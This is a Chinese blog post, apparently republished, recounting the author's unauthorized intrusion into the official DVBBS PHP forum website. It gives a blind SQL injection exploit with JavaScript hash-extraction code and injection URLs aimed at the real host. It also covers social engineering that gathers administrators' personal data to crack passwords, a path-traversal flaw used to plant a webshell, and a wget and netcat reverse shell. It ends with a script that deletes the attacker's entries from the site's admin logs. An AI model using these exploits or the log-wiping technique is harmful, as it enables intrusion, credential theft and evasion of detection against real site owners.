1. 程式人生 > >入侵拿下DVBBS php官網詳細過程(圖)

入侵拿下DVBBS php官網詳細過程(圖)

sta 電話 subst wget 團隊 sim 不遠 cls 接下來

幾 個月前,DVBBS php2.0暴了一個可以直接讀出管理員密碼的sql註入漏洞,當時這個漏洞出來的時候,我看的心癢,怎麽還會有這麽弱智的漏洞,DVBBS php2.0這套代碼我還沒仔細看過,於是5月中旬我down下來粗略看了下,接著我花了三天的時間,拿下p.dvbbs.net,即動網php的官方網 站,並得到了webshell。總的來說,這次入侵憑的是二分技術加一分運氣。
一、 SQL註入漏洞:
晚上檢查了好久,終於在topicother.php中發現了一處sql註入漏洞,但是並不像前段時間暴的漏洞那麽簡單,因為不能把密碼直接讀出數據庫並顯示出來,這是個活動帖子的報名主函數,我簡單搜索了下,1.0好像後來就增加了這個功能。好了,來看具體函數:
function PostActive_Main(){
……
$TopicID = $GLOBALS[‘id‘];
$activeid = trim($_GET[‘activeid‘]);//activeid並沒有過濾
$timemode = $_POST[‘payment‘];
$systemmode = trim($_POST[‘contact‘]);
$message = trim($_POST[‘message‘]);
$gettimemode = trim($_POST[‘timemode‘]);
$getstarttime = trim($_POST[‘starttime‘]);
$getendtime = trim($_POST[‘endtime‘]);
$getexpiretime = trim($_POST[‘expiretime‘]);
if($timemode ==0)
$costnum = 0;
else
$costnum = intval(trim($_POST[‘payvalue‘]));
//直接帶進來使用了
if( $query = $db->query("SELECT u1.sex,u1.strength,u2.usersex FROM { $dv }active as u1,{ $dv }user as u2 WHERE activeid={ $activeid }")){
$activeinfo =& $db->fetch_array($query);
if( !empty($activeinfo) ) {
$db->free_result($query);
}
}
if( $num = $db->query("SELECT count(*) as num from { $dv }activeuser where activeid=‘".$activeid."‘")){
$activenum = $db->fetch_array($num);
if( !empty($activenum) ) {
$db->free_result($num);
}
}

//如果查取的activeid不正確或者後面註入的條件不成立,則顯示顯示str1:對不起!本活動報名人數已滿!
if($activenum[‘num‘]>=$activeinfo[‘strength‘]){
head(0,0,0,$arrNavMenu);
showmsg($lang[‘Active_Error.str1‘]);
exit;
}
//如果activeid正確(後面註入的條件也成立),但沒有登陸,就顯示str2:請登陸後操作!
if ($userid==0) {
head(0,0,0,$arrNavMenu);
showmsg($lang[‘Active_Error.str2‘]);
exit;
}

//如果activeid正確並且已經登陸了,遞交的時候沒有遞交聯系方式,則會顯示str6這個錯誤:對不起聯系方式不能為空或小於8個字符!
if (‘‘==$systemmode||strlen($systemmode)
首先先確定有沒有activeid為1的活動帖子,就是在論壇目錄後加上
topicother.php?t=9&action=join&activeid=1
顯示“對不起!本活動報名人數已滿!”則有可能不存在,自己註冊個號進去發個活動帖子先。
根 據上面解釋,大家是否已經看出來該怎麽註入啦,並不是什麽都需要工具的,想當年ACCESS手工註入又不是沒註入過,判斷條件正確就返回正常,錯誤就不正 常顯示;這裏不也是同樣的道理麽,不管有沒登陸,出錯都顯示:“對不起!本活動報名人數已滿!”,如果判斷條件正確,沒有登陸的話顯示:“請登陸後操 作!”,已經登陸了顯示:“對不起聯系方式不能為空或小於8個字符!”於是當晚我手動測試了一下官方,並成功獲得了一個管理員的16位MD5的密碼。興奮 的去睡覺,躺在床上卻怎麽也睡不著:怎麽去更簡單的利用呢?一邊思考,一邊入睡,睡著的時候天都亮了。
5個小時後,睡醒了繼續搞,因為沒有 開發那種application程序的經驗,所以我沒想去寫個exp工具,但一直手工多麻煩啊,記得以前開發網站的時候用ajax去get或者post數 據並回顯的,這裏是不是也一樣可以?於是自己嘗試寫,輕輕松松寫出個單一判斷md5某一位的ajax代碼,可是在寫循環的時候卻出錯了,後來flyh4t 上線丟給我一段代碼,我參考了一下然後一個可以讀任意DVBBS php站點管理員密碼的基於頁面的Exploit code搞定了(列出主要代碼):
function sendCall(i,j,url,w,p) {
if (p=="temp"){ p=url }
//後臺密碼、用戶名、關聯的前臺用戶名
switch(parseInt(w)){
case 0:url = p "/**/and/**/ascii(mid(password," i ",1))=" j ")/**/";break;
case 1:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
case 2:url = p "/**/and/**/ascii(mid(adduser," i ",1))=" j ")/**/";break;
//前臺密碼、用戶名
case 3:url = p "/**/and/**/ascii(mid(userpassword," i ",1))=" j ")/**/";break;
case 4:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
}
if (window.ActiveXObject) {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} else if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
//解決FF中跨域問題
try{
netscape.security.PrivilegeManager.enablePrivilege( "UniversalBrowserRead ");
} catch (e) {
alert( "Permission UniversalBrowserRead denied. ");
}
}
xmlHttp.onreadystatechange = function() {
if(xmlHttp.readyState == 4 && xmlHttp.status ==200) {
var str = xmlHttp.responseText;
var md5hash=document.getElementById("md5hash");
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {
pass = String.fromCharCode(j);
md5hash.innerHTML = pass;
j = 48;
i ;
}
else {
if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) { j = 96; }
else { j ; }
}
if(pass.length >= 16) { alert("Exploitation Successfull!. Admin MD5 Hash(or username): " pass); return true; }
sendCall(i,j,url,w,p);
}
}
xmlHttp.open(‘GET‘, url, true);
xmlHttp.send(null);
}
工具不支持中文用戶名,但支持字母 數字 常用符號組合。
接著就簡單啦,先判斷下官網後臺的管理員人數:
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/10=(select/**/count(*)/**/from/**/dv_admin)
然後判斷一下後臺管理員id是從多少到多少:
http://p.dvbbs.net/topicother.php?/topicother.php?t=9&action=join&boardid=2&id=1&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/id=1)
然 後可以根據存在的後臺id用工具去暴密碼啦,速度還蠻快的,一會我就成功獲得了後臺所有的md5 password,cmd5.com去跑了下,只能跑出一個,其他不是not found就是要收費。到前臺轉了下,發現前臺可以看到的管理員只有幾個,貌似有的後臺管理員前臺並不顯示為管理員,不過我也用工具暴出前臺管理員的密 碼,留著備用,查了下,也只成功跑出了一個。
由於動網的前臺與後臺管理員之間有對應關系,因此不能用這個管理的前臺密碼加上那個管理員的後 臺密碼去登陸後臺,研究了下代碼跟數據庫,後臺表中的adduser這個字段就是相對應的前臺密碼。可是既然這樣,我得到的信息就無法利用,那怎麽去獲得 一個後臺權限呢,md5的存在讓註入的光華變的暗淡了,怪不得當初那個漏洞那麽簡單的可以讀密碼那些大牛們都沒把官方站點拿下,官方站不存在白癡管理員 啊…
又到下午了,還是沒有進展,我在想是放棄還是該怎麽繼續,去126郵箱翻翻ph4nt0m的一些帖子,我突然想到個方法…
二、 社會工程學:
其 實這是讓我洋洋得意的地方,我自我感覺無論什麽技術,都沒社會工程學來的讓人心動,而且只要用用心,社會工程學就可以被演繹的淋漓盡致。但是這段讓我非常 興奮的經歷,我還是不能多寫,因為這涉及到官方多位管理員的隱私,我只是簡單的入侵檢測,並不想成為別有用心之人的參考。
簡單了說一下:由於adduser是中文的話,我的工具暴不了,但我可以用語句猜測(把adduser十六進制處理下就OK了):
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/adduser=0x............/**/and/**/id=..)
我用..代替省略掉十六進制用戶名,後面的ID也省略下。這樣,我可以輕松的猜出後臺某個ID對應的前臺用戶名,於是我找了幾個管理員作為突破口。
因 為我有前臺管理員權限,於是我從前臺找了下所有管理員、超級版主以及可以看到的動網團隊的人員的信息,並收集歸攏到一個txt文件中,然後我去百度跟谷歌 搜索這些管理員的用戶名,搜集一些他們平時訪問的站點以及留下的信息:生日、身份證號碼、QQ號碼、電話號碼、郵箱等等等,最後根據這些信息根據得到的 md5密碼猜測可能存在的密碼,終於比昏昏然茫茫然的開始好多了,實在不行的時候,我再跑到DVBBS的ASP論壇去獲取相關的信息,終於到最後一個下午 的努力沒有白費,我在晚上拿下了DVBBS php官方網站的後臺:
技術分享


異常興奮,我給flyh4t截了個圖宣揚了下戰果,然後跑到ph4nt0m發了個帖子告訴大家社會工程學的偉大(結果被眾大牛牛們鄙視了…寒)
三、 後臺跨目錄寫文件漏洞:
一天的時間,我得到後臺的管理權限,真的很艱難,但革命尚未結束,還沒拿到webshell呢,不過一般而言,得到了後臺權限,就離webshell不遠了,flyh4t說寫個模板就可以搞定了,我沒著急搞,先去吃個飯…
回來後,我在後臺用syinfo.php?act=phpinfo看了下系統,典型的LAMP
(linux,apache,mysql,php)組合,看來要努力的還很多啊;我按照常規思路準備寫個php的模板,可是新建模板的時候卻出錯了:
技術分享

不是0777權限,寫不進去。怎麽辦?
後臺晃悠,看看可不可以找到另外的突破口,可是很不幸,從晚上翻到淩晨都沒發現有一處可以利用的地方,可能php後臺拿webshell的方法我不熟,一直搞慣了asp的站,到php就思路堵塞了,百度了下方法,也沒找到。難道偉大的革命要結束啦?
翻 了一會,我居然在模板頁面下面看到一個建目錄的地方,不過依舊沒權限建,哎,linux就是麻煩,如果是windows肯定不會權限這麽變態的,自己的站 一般情況下肯定可以寫的,想到可寫,我突然眼前一亮,對啊,這個站可以有可寫的地方啊,比如上傳頭像上傳圖片或者文件,都需要可寫的目錄啊,linux權 限設置的雖然變態,但總會留下個可以的地方的,可是問題是我該怎麽利用?
胡亂嘗試了好多次跨目錄建目錄或者文件失敗後(現在回想回想怎麽會出錯的,我把目錄跟英文名搞混淆了),我決定不要盲目搞了,讀讀源代碼,於是我打開admin裏的template.php開始讀,這不讀不要緊,一讀居然發現了可以跨目錄寫文件的漏洞。
胡亂填路徑肯定出錯,還有出錯的原因是中文名一定要輸中文名,英文名稱無所謂,看代碼先:
if(!is_dir($destfile)) {
if ($issafemode = ini_get(‘safe_mode‘)) {
show_msg($lang[‘page_title‘], str_replace(‘{ $TPL_DIR }‘, $destfile, $lang[‘tpl.error12‘]));
footer();
exit;
}
if (!mkdir($destfile, 0777)) {
show_msg($lang[‘page_title‘], $lang[‘tpl.error4‘]);
footer();
exit;
}
}
看來$destfile是關鍵了,再看看這個變量是什麽:
$destfile = simpleMapPath($_POST[‘add_directory‘].‘/‘.$_POST[‘add_ename‘]);
有個simpleMapPath在過濾啊,怪不得,再看看這個函數:
function simpleMapPath($path)
{
global $_SERVER;
if (empty($path)) {
return false;
}
$path = preg_replace(‘#(?:\\ )|(?:/ )#i‘, ‘/‘, $path);
if ($path{ 0 } === ‘/‘) {
$documentroot = realpath(str_replace(‘\\‘, ‘/‘, $_SERVER[‘DOCUMENT_ROOT‘]));
return $documentroot.$path;
} elseif(substr($path, 0, 3) === ‘../‘) {
return $path;
} else {
return ROOT_PATH.$path;
}
}
這段函數看的我有點無語,實在看不出來他想過濾什麽…專門寫了個php文件把這個函數復制進去本機測試了下,完全可以寫進上一層的目錄。
無論是絕對路徑還是相對路徑都可以輕松在uploadfile裏寫個目錄,然後寫個模板裏面,編輯下,於是拿到了webshell。此時天都快亮了,想睡覺的,可是睡不著,何不一氣呵成,拿下系統權限?
四、 失敗的提權:
由於提權失敗了,所以這部分我也簡單略過,雖然這花費了我一半的時間,可是水平不濟啊。管理員權限給的太變態了,除了uploadfile,其他所有目錄都不可寫…不管了,有可寫的地方就可以了,先查下服務器版本,輸入uname -a;id,返回:
Linux p.dvbbs.net 2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686 i686 i386 GNU/Linux
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
檢 查了下perl 、wget,都安裝上了,於是wget一個comeback.pl,接著用NC反彈下,也成功反彈回來本地shell,心想這麽順利啊,接下來就是提權 了,可是翻遍了milw0rm.com,找了各種提權的利用程序,就是沒有一個能成功的,我百度谷歌了N久,網上有關linux下提權的文章非常少,有的 基本都是一個樣,反彈一下然後提權,可是大家能輕松提權的prtcl.c在這裏對它無可奈何…
到了下午實在太困了睡了一會兒,醒來後繼續搞,但最後還是以失敗告終,並且把它服務器溢出掛了,我趕緊收手,哎,我太菜了,就不做壞事了,留個頁面紀念下:
技術分享

五、 清理殘留:
Linux下的殘留我就沒辦法了,沒提權成功,權限太小;但網站留下來的東西必須清理掉。於是寫個clear.php:
define(‘ISDVBBS‘, TRUE);
require ‘../inc/config.php‘;
require ‘../inc/dv_clssql.php‘;
$db= new sqldb();
defined(‘DV_MUF_DB_HOST‘) AND ($dbhost = DV_MUF_DB_HOST);
$db->connect($dbhost, $dbuser, $dbpw, $dbname , $charset,$pconnect);
//清除我新建的模板
$db->query("DELETE FROM dv_styles WHERE name=‘啊啊啊‘");
//清除我所在的IP後臺操作日誌
$db->query("DELETE FROM dv_log WHERE l_ip=‘58.213.51.65‘");
echo "ok!";
?>
傳到uploadfile裏面,瀏覽器裏運行下,於是ok…

入侵拿下DVBBS php官網詳細過程(圖)